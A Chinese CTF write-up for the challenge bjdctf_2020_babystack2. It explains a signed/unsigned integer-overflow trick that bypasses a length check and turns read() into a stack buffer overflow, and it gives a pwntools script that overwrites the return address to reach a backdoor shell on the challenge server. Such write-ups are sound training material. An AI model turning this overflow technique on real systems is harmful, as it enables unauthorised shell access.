当前位置:网站首页>【CTF】bjdctf_2020_babystack2
【CTF】bjdctf_2020_babystack2
2022-07-02 00:17:00 【delta_hell】
題目分析
反編譯,查找漏洞
main函數:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函數:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
題目意思很明顯了,後門函數已經提供了,只要能跳過去就行了。
再看main函數,read函數很明顯就是個利用點,利用變量local_c就可以制造溢出。
當然,不會這麼簡單,前面有長度限制的判斷
if (10 < (int)local_c)
不過,這個也簡單,對不對?整型溢出啊,整一個負數,直接就成了啊~~~
事實證明,思路完全正確,但是過程太曲折,簡單描述下:
本機溢出會失敗,在ubuntu上,輸入-1,read時會直接返回;在windows上實驗,輸入-1,read會彈出窗,提示
buf len < INT_MAX條件不滿足,這下很明顯了,read有輸入限制。又研究了很久,發現無解,因為要過長度限制,
必須使用負數,否則不能溢出,而即使INT_MIN,轉換為無符號數,仍為2147483648,還是> INT_MAX;一時間
搞的我懷疑人生。
解題思路
思路就是上面題目分析的過程,完全正確,直接拿靶機驗證是OK的,-1能過長度限制,同時read不報錯(欲哭無淚)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
沒法本地驗證導致的後果,就是溢出長度是猜出來的。
總結
思路沒毛病的時候,及時測靶機。不過調一調本機還是有意思的,雖然沒找到最終結果,比如ubuntu上,寫了一個測試demo,去掉長度驗證,結果read只要不大於3652就沒問題,超過時errno就會報Bad address,跟windows上還不一樣,但是3652這個值感覺沒有任何意義,又懷疑人生了~~~下班了不糾結了,後面有調glibc的機會時候再看看。
边栏推荐
- EMC circuit protection device for surge and impulse current protection
- 基于全志H3的QT5.12.9移植教程
- 记录一下大文件上传偶然成功偶然失败问题
- 攻防演练复盘
- [QT] test whether QT can connect to the database
- vue 强制清理浏览器缓存
- Correlation - intra group correlation coefficient
- Linux centos7 installation Oracle11g super perfect novice tutorial
- USB-IF协会与各种接口的由来
- MySQL: the difference between insert ignore, insert and replace
猜你喜欢

leetcode96不同的二叉搜索樹

What is ThreadLocal memory leak and how to solve it
![[cmake] cmake configuration in QT Creator](/img/e3/1cf76f88eaddb5d32184523dfb049c.png)
[cmake] cmake configuration in QT Creator

SQL数据分析之流程控制语句【if,case...when详解】

RPA教程01:EXCEL自动化从入门到实操

PyTorch学习记录

SQL Server 安裝指南

The origin of usb-if Association and various interfaces
![Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]](/img/24/d9a48a0f76cde65421edda04d0f854.png)
Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]

比较通俗易懂的PID理解
随机推荐
Leetcode96 different binary search trees
启牛学院开户安全的吗?开户怎么开?
Multi table operation - one to one, one to many and many to many
Selectively inhibiting learning bias for active sampling
vs2015 AdminDeployment. xml
Openvino model performance evaluation tool DL workbench
Niuke - Practice 101 - reasoning clown
[QT] test whether QT can connect to the database
Relevant settings of wechat applet cache expiration time (recommended)
JS——图片转base码 、base转File对象
Learn online case practice
Correlation - intra group correlation coefficient
Kyushu cloud and Intel jointly released the smart campus private cloud framework, enabling new infrastructure for education
. env. XXX file, with constant, but undefined
Qt5.12.9 migration tutorial based on Quanzhi H3
Data analysis methodology and previous experience summary [notes dry goods]
How to improve data quality
When installing mysql, there are two packages: Perl (data:: dumper) and Perl (JSON)
I would like to ask, which securities is better for securities account opening? Is it safe to open a mobile account?
Node——Egg 创建本地文件访问接口